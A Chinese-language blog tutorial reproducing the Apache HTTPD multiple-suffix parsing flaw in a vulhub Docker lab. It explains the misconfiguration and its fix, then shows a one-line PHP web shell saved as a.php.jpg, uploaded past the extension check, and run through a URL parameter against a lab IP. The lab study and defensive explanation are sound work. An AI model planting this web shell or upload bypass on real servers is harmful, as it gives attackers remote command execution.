Apache HTTPD 多后缀解析漏洞 漏洞复现

前言

该漏洞并不是apache程序本身的问题,而是管理员配置不当造成。Apache支持一个文件具有多个后缀,并为不同的后缀执行不同的指令。例如以下配置文件:

AddType text/html .html
AddDefaultCharset GB2312 .gb

这个配置文件给 .html后缀添加了媒体格式:text/html,给.gb后缀添加了默认编码:GB2312,如果有一个文件名为 index.gb.html,那么这两个后缀都会生效,它的媒体格式会设置成text/html,默认编码设置成BG2312

常见的媒体格式类型解释:

text/html: HTML格式

text/plain:纯文本格式

image/gif:gif图片格式

application/pdf:pdf格式

application/octet-stream:二进制流数据(常见的文件下载就是这种媒体格式)

漏洞环境

该环境使用vulhub搭建,该漏洞路径为 /vulhub/httpd/apache_parsing_vulnerability。进入该漏洞路径后执行以下命令:

docker-compose up -d

-d 表示后台运行。

注意:该命令必须在漏洞目录下执行,该命令是启动当前目录下的docker容器。

如果不会搭建环境可以参考官方文档:https://vulhub.org/#/docs/

原理分析

启动容器后执行以下命令查看容器ID。

docker ps

在这里插入图片描述

然后执行以下命令进入容器。

docker exec -it 容器ID /bin/bash

exec 表示在容器中执行一个命令,该命令后加容器ID和要执行命令,上面执行的命令就是/bin/bash。
-i 表示即使没有连接,也要保持STDIN打开,也就是一直监听命令的状态。
-t 表示分配一个tty终端设备,加上这个参数就具有按TAB自动补全命令等等功能。

更多详细内容可以参考:
https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作。
https://xunyang1.github.io/2021/07/14/docker/,Docker初识。

在这里插入图片描述

进入容器后查看apache2的配置文件:

cat /etc/apache2/conf-available/docker-php.conf

在这里插入图片描述

发现在配置文件中的配置有点问题,文件名只要有.php的后缀就会当成php文件执行,例如 index.php.html就会当成php来执行。将这里的.php改成(.php)$就不会出现这种问题了。然后再查看文件上传功能代码:

(.php)$ 是通过正则表达式匹配.php,其中$代表在字符串的末尾匹配,所以只有.php位于文件名最后,apache才会将该文件以php的方式解析。

cd /var/www/html
cat upload.php

在这里插入图片描述

发现文件上传的代码只会检查文件名最后的一个后缀,所以我们能成功上传 a.php.jpg,而且apache会把这个文件当成php来执行。

漏洞复现

将一句话木马 <?php system($_GET['a']);?>保存为 a.php.jpg,并上传到服务器。

网站地址为靶机IP地址。

可以通过docker ps查看容器的映射的端口。

在这里插入图片描述
在这里插入图片描述

访问一句话木马,并通过a参数传递命令。

http://192.168.119.131/uploadfiles/a.php.jpg?a=id

在这里插入图片描述

命令执行成功!

参考文献

[1] https://blog.csdn.net/qq_40081976/article/details/84590119,docker exec 的使用-it操作
[2] https://blog.csdn.net/weixin_36300275/article/details/118401719,mediatype.text html,你真的了解mediaType吗?
[3] https://xunyang1.github.io/2021/07/14/docker/,Docker初识。

posted @ 2021-09-30 22:36  rpsate  阅读(265)  评论(0编辑  收藏  举报